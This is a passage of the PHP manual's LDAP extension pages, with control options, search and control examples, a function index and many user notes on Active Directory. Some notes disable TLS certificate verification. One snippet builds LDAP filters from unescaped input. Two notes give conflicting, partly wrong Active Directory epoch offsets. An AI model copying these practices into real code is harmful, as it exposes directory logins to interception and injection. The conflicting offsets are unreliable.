The OID of the control. You should use constants starting with LDAP_CONTROL_ for this. See LDAP Constants.
iscritical (bool)
If a control is noted as critical, the request will fail if the control is not supported by the server, or if it fails to be applied. Note that some controls should always be marked as critical as noted in the RFC introducing them. Defaults to false.
value (mixed)
If applicable, the value of the control. Read below for more information.

Most control values are sent to the server BER-encoded. You may either BER-encode the value yourself, or you can instead pass an array with the correct keys so that the encoding is done for you. Supported controls to be passed as an array are:

  • LDAP_CONTROL_PAGEDRESULTS Expected keys are [size] and [cookie]

  • LDAP_CONTROL_ASSERT Expected key is filter

  • LDAP_CONTROL_VALUESRETURNFILTER Expected key is filter

  • LDAP_CONTROL_PRE_READ Expected key is attrs

  • LDAP_CONTROL_POST_READ Expected key is attrs

  • LDAP_CONTROL_SORTREQUEST Expects an array of arrays with keys attr, [oid], [reverse].

  • LDAP_CONTROL_VLVREQUEST Expected keys are before, after, attrvalue|(offset, count), [context]

The following controls do not need any value:

  • LDAP_CONTROL_PASSWORDPOLICYREQUEST

  • LDAP_CONTROL_MANAGEDSAIT

  • LDAP_CONTROL_DONTUSECOPY

The control LDAP_CONTROL_PROXY_AUTHZ is a special case as its value is not expected to be BER-encoded, so you can directly use a string for its value.

When controls are parsed by ldap_parse_result(), values are turned into an array if supported. This is supported for:

  • LDAP_CONTROL_PASSWORDPOLICYRESPONSE Keys are expire, grace, [error]

  • LDAP_CONTROL_PAGEDRESULTS Keys are size, cookie

  • LDAP_CONTROL_PRE_READ Keys are dn and LDAP attributes names

  • LDAP_CONTROL_POST_READ Keys are dn and LDAP attributes names

  • LDAP_CONTROL_SORTRESPONSE Keys are errcode, [attribute]

  • LDAP_CONTROL_VLVRESPONSE Keys are target, count, errcode, context

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • Basic usage
  • LDAP Controls

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

Retrieve information for all entries where the surname starts with "S" from a directory server, displaying an extract with name and email address.

Example #1 LDAP search example

<?php
// basic sequence with LDAP is connect, bind, search, interpret search
// result, close connection

echo "<h3>LDAP query test</h3>";
echo "Connecting ...";
$ds=ldap_connect("localhost"); // must be a valid LDAP server!
echo "connect result is " . $ds . "<br />";

if ($ds) {
echo "Binding ...";
$r=ldap_bind($ds); // this is an "anonymous" bind, typically
// read-only access
echo "Bind result is " . $r . "<br />";

echo "Searching for (sn=S*) ...";
// Search surname entry
$sr=ldap_search($ds, "o=My Company, c=US", "sn=S*");
echo "Search result is " . $sr . "<br />";

echo "Number of entries returned is " . ldap_count_entries($ds, $sr) . "<br />";

echo "Getting entries ...<p>";
$info = ldap_get_entries($ds, $sr);
echo "Data for " . $info["count"] . " items returned:<p>";

for ($i=0; $i<$info["count"]; $i++) {
echo "dn is: " . $info[$i]["dn"] . "<br />";
echo "first cn entry is: " . $info[$i]["cn"][0] . "<br />";
echo "first email entry is: " . $info[$i]["mail"][0] . "<br /><hr />";
}

echo "Closing connection";
ldap_close($ds);

} else {
echo "<h4>Unable to connect to LDAP server</h4>";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


LDAP Controls

Here are some examples of using LDAP Controls with PHP >= 7.3.0.

Example #1 Bind with policy information

<?php

$user = 'cn=admin,dc=example,dc=com';
$passwd = 'adminpassword';

$ds = ldap_connect('ldap://localhost');

if ($ds) {
$r = ldap_bind_ext($ds, $user, $passwd, [['oid' => LDAP_CONTROL_PASSWORDPOLICYREQUEST]]);

if (ldap_parse_result($ds, $r, $errcode, $matcheddn, $errmsg, $referrals, $ctrls)) {
if ($errcode != 0) {
die("Error: $errmsg ($errcode)");
}
if (isset($ctrls[LDAP_CONTROL_PASSWORDPOLICYRESPONSE])) {
$value = $ctrls[LDAP_CONTROL_PASSWORDPOLICYRESPONSE]['value'];
echo "Expires in: ".$value['expire']." seconds\n";
echo "Number of auth left: ".$value['grace']."\n";
if (isset($value['error'])) {
echo "Policy error code: ".$value['error'];
}
}
}
} else {
die("Unable to connect to LDAP server");
}
?>

Example #2 Modify description only if it's not empty

<?php
// $link is an LDAP connection

$result = ldap_mod_replace_ext(
$link,
'o=test,dc=example,dc=com',
['description' => 'New description'],
[
[
'oid' => LDAP_CONTROL_ASSERT,
'iscritical' => TRUE,
'value' => ['filter' => '(!(description=*))']
]
]
);

// Then use ldap_parse_result
?>

Example #3 Read some values before deletion

<?php
// $link is an LDAP connection

$result = ldap_delete_ext(
$link,
'o=test,dc=example,dc=com',
[
[
'oid' => LDAP_CONTROL_PRE_READ,
'iscritical' => TRUE,
'value' => ['attrs' => ['o', 'description']]
]
]
);

// Then use ldap_parse_result
?>

Example #4 Delete a reference

<?php
// $link is an LDAP connection

// Without the control it would delete the referenced node
// Make sure to set the control as critical to avoid that
$result = ldap_delete_ext(
$link,
'cn=reference,dc=example,dc=com',
[['oid' => LDAP_CONTROL_MANAGEDSAIT, 'iscritical' => TRUE]]
);

// Then use ldap_parse_result
?>

Example #5 Use pagination for a search

<?php
// $link is an LDAP connection

$cookie = '';

do {
$result = ldap_search(
$link, 'dc=example,dc=base', '(cn=*)', ['cn'], 0, 0, 0, LDAP_DEREF_NEVER,
[['oid' => LDAP_CONTROL_PAGEDRESULTS, 'value' => ['size' => 2, 'cookie' => $cookie]]]
);
ldap_parse_result($link, $result, $errcode , $matcheddn , $errmsg , $referrals, $controls);
// To keep the example short errors are not tested
$entries = ldap_get_entries($link, $result);
foreach ($entries as $entry) {
echo "cn: ".$entry['cn'][0]."\n";
}
if (isset($controls[LDAP_CONTROL_PAGEDRESULTS]['value']['cookie'])) {
// You need to pass the cookie from the last call to the next one
$cookie = $controls[LDAP_CONTROL_PAGEDRESULTS]['value']['cookie'];
} else {
$cookie = '';
}
// Empty cookie means last page
} while (strlen($cookie) > 0);
?>

User Contributed Notes

snapplez 12-Jan-2022 07:42
LDAP pagination requires protocol version 3+. If the LDAP_CONTROL_PAGEDRESULTS LDAP control is not working for you, try setting the LDAP protocol version before binding:

<?php

$ldapconn = ldap_connect($ldapuri) or die("That LDAP-URI was not parseable");

ldap_set_option($ldapconn, LDAP_OPT_PROTOCOL_VERSION, 3);

?>


LDAP 函数

Table of Contents

  • ldap_8859_to_t61 — Translate 8859 characters to t61 characters
  • ldap_add_ext — Add entries to LDAP directory
  • ldap_add — Add entries to LDAP directory
  • ldap_bind_ext — Bind to LDAP directory
  • ldap_bind — 绑定 LDAP 目录
  • ldap_close — 别名 ldap_unbind
  • ldap_compare — Compare value of attribute found in entry specified with DN
  • ldap_connect_wallet — Connect to an LDAP server
  • ldap_connect — Connect to an LDAP server
  • ldap_control_paged_result_response — Retrieve the LDAP pagination cookie
  • ldap_control_paged_result — Send LDAP pagination control
  • ldap_count_entries — Count the number of entries in a search
  • ldap_count_references — Counts the number of references in a search result
  • ldap_delete_ext — Delete an entry from a directory
  • ldap_delete — Delete an entry from a directory
  • ldap_dn2ufn — Convert DN to User Friendly Naming format
  • ldap_err2str — Convert LDAP error number into string error message
  • ldap_errno — Return the LDAP error number of the last LDAP command
  • ldap_error — Return the LDAP error message of the last LDAP command
  • ldap_escape — Escape a string for use in an LDAP filter or DN
  • ldap_exop_passwd — PASSWD extended operation helper
  • ldap_exop_refresh — Refresh extended operation helper
  • ldap_exop_sync — Performs an extended operation
  • ldap_exop_whoami — WHOAMI extended operation helper
  • ldap_exop — Performs an extended operation
  • ldap_explode_dn — Splits DN into its component parts
  • ldap_first_attribute — Return first attribute
  • ldap_first_entry — Return first result id
  • ldap_first_reference — Return first reference
  • ldap_free_result — Free result memory
  • ldap_get_attributes — Get attributes from a search result entry
  • ldap_get_dn — Get the DN of a result entry
  • ldap_get_entries — Get all result entries
  • ldap_get_option — Get the current value for given option
  • ldap_get_values_len — Get all binary values from a result entry
  • ldap_get_values — Get all values from a result entry
  • ldap_list — Single-level search
  • ldap_mod_add_ext — Add attribute values to current attributes
  • ldap_mod_add — Add attribute values to current attributes
  • ldap_mod_del_ext — Delete attribute values from current attributes
  • ldap_mod_del — Delete attribute values from current attributes
  • ldap_mod_replace_ext — Replace attribute values with new ones
  • ldap_mod_replace — Replace attribute values with new ones
  • ldap_modify_batch — Batch and execute modifications on an LDAP entry
  • ldap_modify — 别名 ldap_mod_replace
  • ldap_next_attribute — Get the next attribute in result
  • ldap_next_entry — Get next result entry
  • ldap_next_reference — Get next reference
  • ldap_parse_exop — Parse result object from an LDAP extended operation
  • ldap_parse_reference — Extract information from reference entry
  • ldap_parse_result — Extract information from result
  • ldap_read — Read an entry
  • ldap_rename_ext — Modify the name of an entry
  • ldap_rename — Modify the name of an entry
  • ldap_sasl_bind — Bind to LDAP directory using SASL
  • ldap_search — Search LDAP tree
  • ldap_set_option — Set the value of the given option
  • ldap_set_rebind_proc — Set a callback function to do re-binds on referral chasing
  • ldap_sort — Sort LDAP result entries on the client side
  • ldap_start_tls — Start TLS
  • ldap_t61_to_8859 — Translate t61 characters to 8859 characters
  • ldap_unbind — Unbind from LDAP directory

User Contributed Notes

llurovi at gmail dot com 11-Oct-2016 10:12
For those of you that are having trouble when user's password has special characters, make sure you decode the string to an appropiate codification. For instance, I had an issue where some users could not logging properly into our web app.

Example of a simple connection:

<?php

$ldap_ip = 'LDAP-SERVER-IP';
$ldap = ldap_connect($ldap_ip);

$user = 'Test';
$password = 'oto?o'; //This password is correct but binding it with this format will give us an error

$password = utf8_decode($password); //$password = otoxF1o

$ldap_bind = ldap_bind($ldap, $user, $password); //Now the binding is successfull and $ldap_bind = true

?>
oscar dot php at linaresdigital dot com 28-Jan-2015 11:47
There is a lot of confusion about accountExpires, pwdLastSet, lastLogon and badPasswordTime active directory fields.

All of them are using "Interval" date/time format with a value that represents the number of 100-nanosecond intervals since January 1, 1601 (UTC, and a value of 0 or 0x7FFFFFFFFFFFFFFF, 9223372036854775807, indicates that the account never expires): https://msdn.microsoft.com/en-us/library/ms675098(v=vs.85).aspx

So if you need to translate it from/to UNIX timestamp you can easily calculate the difference with:

<?php
$datetime1 = new DateTime('1601-01-01');
$datetime2 = new DateTime('1970-01-01');
$interval = $datetime1->diff($datetime2);
echo ($interval->days * 24 * 60 * 60) . " seconds\n";
?>

The difference between both dates is 11644473600 seconds. Don't rely on floating point calculations nor other numbers that probably were calculated badly (including time zone or something similar).

Now you can convert from LDAP field:

<?php
$lastlogon = $info[$i]['lastlogon'][0];
// divide by 10.000.000 to get seconds from 100-nanosecond intervals
$winInterval = round($lastlogon / 10000000);
// substract seconds from 1601-01-01 -> 1970-01-01
$unixTimestamp = ($winInterval - 11644473600);
// show date/time in local time zone
echo date("Y-m-d H:i:s", $unixTimestamp) ."\n";
?>

Hope it helps.
Andrew Sharpe 23-Apr-2012 06:04
To compile PHP 5.1.6 on RHEL 6.2 x86_64, add the following to your configure command:

--with-libdir=lib64
--with-ldap=/usr
idbobby at rambler dot ru 12-Aug-2010 02:26
First of all, sorry for my English.
Here are two functions to check group membership and some others which can be useful for work with LDAP (Active Directory in this example).

index.php
---------

<?php

$user = 'bob';
$password = 'zhlob';
$host = 'myldap';
$domain = 'mydomain.ex';
$basedn = 'dc=mydomain,dc=ex';
$group = 'SomeGroup';

$ad = ldap_connect("ldap://{$host}.{$domain}") or die('Could not connect to LDAP server.');
ldap_set_option($ad, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ad, LDAP_OPT_REFERRALS, 0);
@ldap_bind($ad, "{$user}@{$domain}", $password) or die('Could not bind to AD.');
$userdn = getDN($ad, $user, $basedn);
if (checkGroupEx($ad, $userdn, getDN($ad, $group, $basedn))) {
//if (checkGroup($ad, $userdn, getDN($ad, $group, $basedn))) {
    echo "You're authorized as ".getCN($userdn);
} else {
    echo 'Authorization failed';
}
ldap_unbind($ad);

/*
* This function searchs in LDAP tree ($ad -LDAP link identifier)
* entry specified by samaccountname and returns its DN or epmty
* string on failure.
*/
function getDN($ad, $samaccountname, $basedn) {
    $attributes = array('dn');
    $result = ldap_search($ad, $basedn,
        "(samaccountname={$samaccountname})", $attributes);
    if ($result === FALSE) { return ''; }
    $entries = ldap_get_entries($ad, $result);
    if ($entries['count']>0) { return $entries[0]['dn']; }
    else { return ''; };
}

/*
* This function retrieves and returns CN from given DN
*/
function getCN($dn) {
    preg_match('/[^,]*/', $dn, $matchs, PREG_OFFSET_CAPTURE, 3);
    return $matchs[0][0];
}

/*
* This function checks group membership of the user, searching only
* in specified group (not recursively).
*/
function checkGroup($ad, $userdn, $groupdn) {
    $attributes = array('members');
    $result = ldap_read($ad, $userdn, "(memberof={$groupdn})", $attributes);
    if ($result === FALSE) { return FALSE; };
    $entries = ldap_get_entries($ad, $result);
    return ($entries['count'] > 0);
}

/*
* This function checks group membership of the user, searching
* in specified group and groups which is its members (recursively).
*/
function checkGroupEx($ad, $userdn, $groupdn) {
    $attributes = array('memberof');
    $result = ldap_read($ad, $userdn, '(objectclass=*)', $attributes);
    if ($result === FALSE) { return FALSE; };
    $entries = ldap_get_entries($ad, $result);
    if ($entries['count'] <= 0) { return FALSE; };
    if (empty($entries[0]['memberof'])) { return FALSE; } else {
        for ($i = 0; $i < $entries[0]['memberof']['count']; $i++) {
            if ($entries[0]['memberof'][$i] == $groupdn) { return TRUE; }
            elseif (checkGroupEx($ad, $entries[0]['memberof'][$i], $groupdn)) { return TRUE; };
        };
    };
    return FALSE;
}

?>
ben_demott at hotmail dot com 01-Apr-2008 06:54
For anyone that is a programmer and not extremely familiar with naming conventions in Microsoft Active Directory or how to find objects within the directory, or more importantly how to reference the objects.
Running "adsiedit.msc" from the command line will display all of your objects in the directory in an easy to read and copyable naming format.
Hope this is helpful!

Note:
You must Run this command from an AD Domain Controller
You Must have the Windows Resource Kit Tools installed
(wouldn't let me make a link that long so I had to make a link break - Sorry!)
a http://www.microsoft.com/downloads/details.aspx
?FamilyID=9d467a69-57ff-4ae7-96ee-b18c4790cffd&displaylang=en

Installing this tool should modify your system path so you can just type the command from the run dialogue, otherwise the absolute path is:
C:\Program Files\Windows Resource Kits\Tools\adsiedit.msc
alex at netflex dot nl 03-Sep-2007 06:49
If you want to use ldaps on windows but you don't want to validate the tls certificate try the following line before the ldap_connect call:

putenv('LDAPTLS_REQCERT=never') or die('Failed to setup the env');
Tod 03-Jul-2007 05:10
Notes for people running PHP 4 with Apache 2.2 on Win2k3.
The Apache Service needs to be running under the local administrators account in order for the ldap_connect to return a result. As apposed to the Domain Administrators account as may happen on servers in an Active Directory Domain.

It will 'appear' to work ok but will return no results otherwise.

so use (server name)\administrator for the username in the service logon properties.

Tod
jector at inbox dot ru 18-Mar-2007 09:01
Spent some time on fixing "Unable to load dynamic library 'php_ldap.dll'. Copied libeay32.dll and ssleay32.dll  everywhere, but error still stands.

After digging all this dlls I found, that both libeay32.dll and ssleay32.dll need msvcr70.dll (or msvcr71.dll, it depends on the compiler version). Then just copy that dll to system32\ dir and it works perfectly.
maykelsb at yahoo dot com dot br 12-Feb-2007 11:27
Problems with ldap_search in W2k3, can be solved adding

// -- $conn is a valid ldap connection.

ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION,3);
ldap_set_option($conn, LDAP_OPT_REFERRALS,0);

before ldap_bind, as sad in http://bugs.php.net/bug.php?id=30670.
unroar at gmail dot com 11-Dec-2006 05:33
In Solaris 9 the libnet library is a prerequisite for building  PHP with LDAP, SASL and SSL (libnet is available on Sunfreeware).

I didn't see this mentioned anywhere and I'm not sure if it is required by ldap or sasl or ssl.  I just spent an hour on Google with no luck before I figured it out, maybe this comment will help the next googler.

The error is,
ld: fatal: library -lnet: not found
ld: fatal: File processing errors. No output written to sapi/cli/php
collect2: ld returned 1 exit status
make: *** [sapi/cli/php] Error 1
nigelf at esp dot co dot uk 16-Nov-2006 06:34
Chasing referrals in Active Directory (ie: searching across domains), can be slow.  You can look up the object instead in the GC (Global Catalog) as follows:

Remove any reference to ldap:// when you use ldap_connect, ie: use "serv1.mydom.com" NOT "ldap://serv1.mydom.com"

Connect to port 3268 (not 389, the default)

Set the Base DN for the search to null ie: "" (empty quotes).

AD will then run the search against the GC which holds a copy of all objects in the Forest.  You can also retrieve a subset of attributes (including group membership, except local groups).

You will still need to follow referals for a full set of attributes.
gcathell at thetdgroup dot com 07-Jul-2006 09:05
I recently had to access a Microsoft Active Directory server as an LDAP service over SSL using PHP.  It took me a long time to get all the information I needed to get it to work.

I attempted to post a note here with the details but it ended it being too long.  I've placed the details at the following URL in hopes that someone else will benefit and will be able to solve the problem much more quickly than I did.

http://greg.cathell.net/php_ldap_ssl.html

Good luck!
nacenroe at remove dot this dot nystec dot com 19-Dec-2005 12:28
If you're looking to use PHP to integrate LDAP with AD (I'm working with Win2K3), you may want to tinker with the LDP.exe tool included (no resource kit needed!!) with Win2k and Win2K3.  You can run this app right from the command line.

The Win2K3 Help function was a good start point, and then pointed me to an article in the M$ KB: http://support.microsoft.com/default.aspx?scid=kb;en-us;255602 (XADM: Browsing and Querying Using the LDP Utility).

So ... if your connect/bindings are working but your queries are not, you may want to start here.  I'm finding it very useful when I run it on the local AD to see the attributes, etc.
christopherbyrne at hotmail dot com 16-Oct-2005 08:53
Just an ammendment to my previous post: my calculations were using east coast Australian time (GMT+10) whereas the Unix timestamp is in GMT. Therefore Active Directoy's "accountexpires" integer value does start from 1-Jan-1601 00:00:00 GMT and the number of seconds between this date and 1-Jan-1970 00:00:00 GMT is 11644524000.

The increments are still definately in 100 nanoseconds though!
christopherbyrne at hotmail dot com 16-Oct-2005 04:32
For anyone who's been having trouble working with the "accountexpires" attribute in Active Directory after having read the following article

www.microsoft.com/technet/scriptcenter/
resources/qanda/sept05/hey0902.mspx

or something similar, this may save you some frustration. In the article is is mentioned that this attribute is an integer representing the number of nanoseconds since 01-Jan-1601 00:00:00.

However the "accountexpires" attribute actually seems to be the number of 100 nanosecond increments since 31-Dec-1600 14:00:00. As a result if you divide the integer by 10,000,000 and subtract 11644560000 you will get a Unix timestamp that will match the dates in AD.

To set the "accountexpires" date just reverse the procedure, that is, get the timestamp for the new date you want, add 11644560000 and multiply by 10,000,000. You will also need to format the resultant number to make sure it is not outputted in scientific notation for AD to be happy with it.

Hope this helps!
hijinio at comcast dot net 28-Jul-2005 11:28
In case anybody has trouble configuring PHP with LDAP support on a Solaris 10 box, here is the configure line I used:

./configure --with-nsapi=/opt/SUNWwbsvr --enable-libgcc --disable-libxml --with-ldap=/usr/local --prefix=/opt/php/php-5.0.4

The important part to note is the location used for --with-ldap= ; which for most S10 people, will be "--with-ldap=/usr/local".
jpmens at gmail dot com 11-Mar-2005 02:04
Further to jabba at zeelandnet dot nl's note. If you are trying to connect to an LDAPS URI with OpenLDAP, you can either create the configuration file as described by jabba, or alternatively, use the environment settings to set LDAPTLS_REQCERT=never as described in ldap.conf(5).
Richie Bartlett(at)ITsystems-Online com 20-Dec-2004 12:44
This is an update to <i>wtfo at technocraft dot com</i> (23-May-2002 03:40)... This function allows additional (optional) parameters. The prev function listed, failed to close the ldap connection after successful authenication.

<?php
function checkNTuser($username,$password,$DomainName="myDomain",
                      $ldap_server="ldap://PDC.example.net"){//v0.9
// returns true when user/pass enable bind to LDAP (Windows 2k).
    $auth_user=$username."@".$DomainName;
    #echo $auth_user."->";
    if($connect=@ldap_connect($ldap_server)){
        #echo "connection ($ldap_server): ";
        if($bind=@ldap_bind($connect, $auth_user, $password)){
            #echo "true <BR>";
            @ldap_close($connect);
            return(true);
        }//if bound to ldap
    }//if connected to ldap
    #echo "failed <BR>";
    @ldap_close($connect);
    return(false);
}//end function checkNTuser
?>
jabba at zeelandnet dot nl 15-Nov-2004 11:51
When using PHP on windows, and you are trying to connect (bind) to a Netware (6) LDAP server that requires secure connections (LDAPS), PHP will return a message stating that the server cannot be found.

A network traffic capture of the traffic taking place on connection attempt reveals that the server supplies a certificate for use in the SSL connection, but this is rejected (***bad certificate SSLv3 packet) by the client.

The reason for this is probably that the PHP LDAP implementation tries to verify the received certificate with the CA that issued the certificate. There may be a way to make it possible that this verification succeeds, but it is also possible to disable this verification by the client (which is, in this case, PHP) by creating an openldap (surprise!!) configuration file.

The location of this configuration file seems to be hardcoded in the LDAP support module for windows, and you may need to manually create the following directory structure:

C:\openldap\sysconf\

In the sysconf folder, create a text file named 'ldap.conf' (you can use notepad for this) and, to disable certificate verification, place the following line in the ldap.conf file:

TLS_REQCERT never

After this, all the normal ldap_bind calls will work, provided your supplied user id and password are correct.
spam2004 at turniton dot dk 29-Oct-2004 05:36
Here are two small functions that enables you to convert a binary objectSID from Microsoft AD into a more usefull text version (formatted (S-1-5.....)).

// Converts a little-endian hex-number to one, that 'hexdec' can convert
function littleEndian($hex) {
    for ($x=strlen($hex)-2; $x >= 0; $x=$x-2) {
        $result .= substr($hex,$x,2);
    }
    return $result;
}

// Returns the textual SID
function binSIDtoText($binsid) {
    $hex_sid=bin2hex($binsid);
    $rev = hexdec(substr($hex_sid,0,2));          // Get revision-part of SID
    $subcount = hexdec(substr($hex_sid,2,2));    // Get count of sub-auth entries
    $auth = hexdec(substr($hex_sid,4,12));      // SECURITY_NT_AUTHORITY
    $result = "$rev-$auth";
    for ($x=0;$x < $subcount; $x++) {
        $subauth[$x] = hexdec(littleEndian(substr($hex_sid,16+($x*8),8)));  // get all SECURITY_NT_AUTHORITY
        $result .= "-".$subauth[$x];
    }
    return $result;
}

echo binSIDtoText($bin_sid);
Jimmy Wimenta Oei 23-Sep-2004 12:32
If you want to disable/enable chase referral option, you need to first set the protocol version to version 3, otherwise the LDAP_OPT_REFERRALS option will not have any effect. This is especially true for querying MS Active Directory.

<?php
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
?>

And as always, these should be called after connect but before binding.
Sami Oksanen 16-May-2004 06:27
I edited Jon Caplinger's code which is located below (date: 09-Nov-2002 05:44).

 - I corrected line
   "if (!($connect=@ldap_connect($ldap))) {" with
   "if (!($connect=@ldap_connect($ldap_server))) {"

 - Removed $name-attribute

 - "Name is:"-field was always an Array, so I changed printing line to:
   " echo "Name is: ". $info[$i]["name"][0]."<br>";"

I also added some alternative search filters to try out.

Here is the code:

<?php

$ldap_server = "ldap://foo.bar.net";
$auth_user = "user@bar.net";
$auth_pass = "mypassword";

// Set the base dn to search the entire directory.

$base_dn = "DC=bar, DC=net";

// Show only user persons
$filter = "(&(objectClass=user)(objectCategory=person)(cn=*))";

// Enable to show only users
// $filter = "(&(objectClass=user)(cn=$*))";

// Enable to show everything
// $filter = "(cn=*)";

// connect to server

if (!($connect=@ldap_connect($ldap_server))) {
     die("Could not connect to ldap server");
}

// bind to server

if (!($bind=@ldap_bind($connect, $auth_user, $auth_pass))) {
     die("Unable to bind to server");
}

//if (!($bind=@ldap_bind($connect))) {
//     die("Unable to bind to server");
//}

// search active directory

if (!($search=@ldap_search($connect, $base_dn, $filter))) {
     die("Unable to search ldap server");
}

$number_returned = ldap_count_entries($connect,$search);
$info = ldap_get_entries($connect, $search);

echo "The number of entries returned is ". $number_returned."<p>";

for ($i=0; $i<$info["count"]; $i++) {
   echo "Name is: ". $info[$i]["name"][0]."<br>";
   echo "Display name is: ". $info[$i]["displayname"][0]."<br>";
   echo "Email is: ". $info[$i]["mail"][0]."<br>";
   echo "Telephone number is: ". $info[$i]["telephonenumber"][0]."<p>";
}
?>
ant at solace dot mh dot se 26-Feb-2004 08:23
When working with LDAP, its worth remembering that the majority
of LDAP servers encode their strings as UTF-8. What this means
for non ascii strings is that you will need to use the utf8_encode and
utf8_decode functions when creating filters for the LDAP server.

Of course, if you can its simpler to just avoid using non-ascii characters
but for most sites the users like to see their strange native character
sets including umlauts etc..

If you just get ? characters where you are expecting non-ascii, then
you might just need to upgrade your PHP version.
pookey at pookey dot co dot uk 07-Oct-2003 01:57
This is an example of how to query an LDAP server, and print all entries out.

<?php

$ldapServer = '127.0.0.1';
$ldapBase = 'DC=anlx,DC=net';

/*
 * try to connect to the server
 */
$ldapConn = ldap_connect($ldapServer);
if (!$ldapConn)
{
  die('Cannot Connect to LDAP server');
}

/*
 * bind anonymously
 */
$ldapBind = ldap_bind($ldapConn);
if (!$ldapBind)
{
  die('Cannot Bind to LDAP server');
}

/*
 * set the ldap options
 */
ldap_set_option($ldapConn, LDAP_OPT_PROTOCOL_VERSION, 3);

/*
 * search the LDAP server
 */
$ldapSearch = ldap_search($ldapConn, $ldapBase, "(cn=*)");
$ldapResults = ldap_get_entries($ldapConn, $ldapSearch);

for ($item = 0; $item < $ldapResults['count']; $item++)
{
  for ($attribute = 0; $attribute < $ldapResults[$item]['count']; $attribute++)
  {
    $data = $ldapResults[$item][$attribute];
    echo $data.":&nbsp;&nbsp;".$ldapResults[$item][$data][0]."<br>";
  }
  echo '<hr />';
}

?>
hkemale at hkem dot com 16-Jul-2003 10:49
For IIS+PHP+NTFS file system user
After copied <php_dir>/dlls/*.dll to <windows>/systems32/ remember to add read and exexcute premission to "everyone" and the extensions *.dll. this can prevent warning of Access is denied of php_ldap.dll
greatsafari at hotmail dot com 26-May-2003 11:01
Having seen so many variations of methods for connecting and query the Active Directory server, it really makes me suspect that the whole thing is dependent of the Active Directory configurations. Looking at this post at:

http://www.phpbuilder.com/mail/php-general/2003022/1459.php

Some methods proven to be working in one instance failed at another instance.
nliu99 at nospam dot yahoo dot com 29-Apr-2003 03:09
libsasl.dll is NOT required for ldap functionalities. Go check out the posting at: http://bugs.php.net/bug.php?id=9485

On win2k I followed these easy steps and got ldap to work:
1. copy php_ldap.dll from the extension folder to winnt/system32
2. edit winnt/php.ini so that ldap is enabled (uncomment the line).
3. restart IIS.
That's it and have fun with ldap.

A note for Microsoft Active Directory
1. You can login with the user email, i.e. user@company.com
2. It's easiest to search for user info with ldap_search by filtering: (userprincipalname=[user])
egeczi at nospamplease dot dist113 dot org 01-Apr-2003 09:05
On Win2k Server running IIS, it is not enough to just restart IIS after enabling the php_ldap extension. You have to restart the server itself.
yorch at correo dot ath dot cx 03-Mar-2003 09:12
Some notes about running LDAP extension on a Win2k box:

After copying php_ldap.php and libsasl.dll in every single directory possible (c:\WinNT\System32, c:\php ...) I decided to read the installation.txt file.
The instructions to install php extensions say: "Some extra DLLs are required for some PHP extensions. Please copy the bundled dlls from the 'dlls/' directory in distribution package to your windows/system (Win9.x) or winnt/system32 (WinNT, Win2000, XP) directory. If you already have these DLLs installed on your system, overwrite them only if something is not working correctly."

So I did exactly that: copy ALL the dll files from "c:\php\dlls" to "c:\WinNT\System32".
Now they load beautifully ;-)

I hope this helps someone.
gerbille at free dot fr 10-Oct-2002 06:26
The MD5 of PHP returns a result encoded in base16. But the LDAP MD5 returns a string encoded in base64.
$pwd="toto";
$pwd_md5=base64_encode(mhash(MHASH_MD5,$pwd));
Just add "{MD5}" front $pwd_md5 to obtain the same format as LDAP directory.

Bye
Aur?lia
mike at whisperedlies dot org 09-Sep-2002 09:41
In addition to the netBIOS suggestion above, when binding to a Windows2k AD server, you can use the UPN of the intended user. For instance, if your SAM account name is firstname.lastname and your domain is domainname.com, your UPN might be firstname.lastname@domainname.com

This can be used to bind to AD. I've not seen any difference in any of the methods.
rusko dot marton at gibzone dot hu 10-Jul-2002 05:06
You can authenticate to a Windows 2000 domain's ldap server easily by using the simplified netbios form of the username.

Somebody written:
When authenticating to a Win2k LDAP server, the name of the person must be
the FULL NAME in the dn

NO. You can use this form:

$user = "DOMAINNAME\\username"
$password = "Password_of_user";

if (!$connect = ldap_connect("<server>", <port>)) {
  //error
  exit;
}
if (!$res = @ldap_bind($ldap, $user, $password)) {
  //error
  exit;
}

It works fine with Active Directory, we use it.
knitterb at blandsite dot org 19-Jun-2002 08:48
When using PHP 4.2.1 with OpenLDAP 2.1.2 I was having problems with binding to the ldap server.  I found that php was using an older protocol and added the following to the slapd.conf:

allow bind_v2

See ``man slapd.conf'' for more info about the allow item in the slapd.conf file, this is all I know! :)
webmaster at autourdupc dot com 31-Dec-2001 04:36
When authenticating to a Win2k LDAP server, the name of the person must be the FULL NAME in the dn

NB : nothing is case sensitive !

$dn="cn=DUPOND John, cn=Users, dc=autourdupc, dc=com"
$password = "Password_of_DUPOND";

Then when you bind to the LDAP database you use:

if (!($ldap = ldap_connect("<server>", <port>))) {
die ("Could not connect to LDAP server");
}
if (!($res = @ldap_bind($ldap, $dn, $password))) {
die ("Could not bind to $dn");
}

Hope this will usefull for everyone !


Translate 8859 characters to t61 characters

  • ? LDAP 函数
  • ldap_add_ext ?
  • PHP Manual
  • LDAP 函数
  • Translate 8859 characters to t61 characters

ldap_8859_to_t61

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

ldap_8859_to_t61 — Translate 8859 characters to t61 characters

说明

ldap_8859_to_t61(string $value): string|false

Translate ISO-8859 characters to t61 characters.

This function is useful if you have to talk to a legacy LDAPv2 server.

参数

value

The text to be translated.

返回值

Return the t61 translation of value, 或者在失败时返回 false.

参见

  • ldap_t61_to_8859() - Translate t61 characters to 8859 characters

User Contributed Notes

faruq dot alavi at live dot de 03-May-2010 03:13
Description:

ldap_8859_to_t61() assists in the conversion of strings between ISO 8859-1 and t61 encodings. If the string cannot be converted successfully, the function returns FALSE.

Example:

$converted = ldap_8859_to_t61($data);
echo $converted;


Add entries to LDAP directory

  • ? ldap_8859_to_t61
  • ldap_add ?
  • PHP Manual
  • LDAP 函数
  • Add entries to LDAP directory

ldap_add_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_add_ext — Add entries to LDAP directory

说明

ldap_add_ext(
LDAP\Connection $ldap,
string $dn,
array $entry,
?array $controls = null
): LDAP\Result|false

Does the same thing as ldap_add() but returns an LDAP\Result instance to be parsed with ldap_parse_result().

参数

See ldap_add()

返回值

Returns an LDAP\Result instance, 或者在失败时返回 false.

更新日志

版本 | 说明
